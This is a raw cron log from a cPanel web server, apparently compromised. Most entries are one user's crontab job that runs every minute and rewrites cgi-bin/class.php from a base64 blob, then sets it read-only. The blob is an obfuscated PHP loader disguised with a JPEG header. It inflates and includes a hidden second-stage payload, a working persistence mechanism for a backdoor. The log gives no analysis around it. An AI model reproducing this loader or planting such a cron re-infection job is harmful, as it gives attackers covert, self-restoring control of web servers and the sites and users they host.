Nov 11 09:39:01 server CROND[7899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:39:01 server CROND[7900]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 09:40:01 server CROND[8862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:40:01 server CROND[8861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:40:01 server CROND[8860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:40:01 server CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:41:01 server CROND[9813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:42:01 server CROND[10628]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 09:42:01 server CROND[10629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:43:01 server CROND[11528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:44:01 server CROND[12356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:45:01 server CROND[13179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:45:01 server CROND[13181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:45:01 server CROND[13180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:46:01 server CROND[14056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:47:01 server CROND[14857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:48:01 server CROND[15767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:49:01 server CROND[16578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:50:01 server CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:50:01 server CROND[17403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:50:01 server CROND[17408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:50:01 server CROND[17407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:50:01 server CROND[17406]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 09:51:01 server CROND[18343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
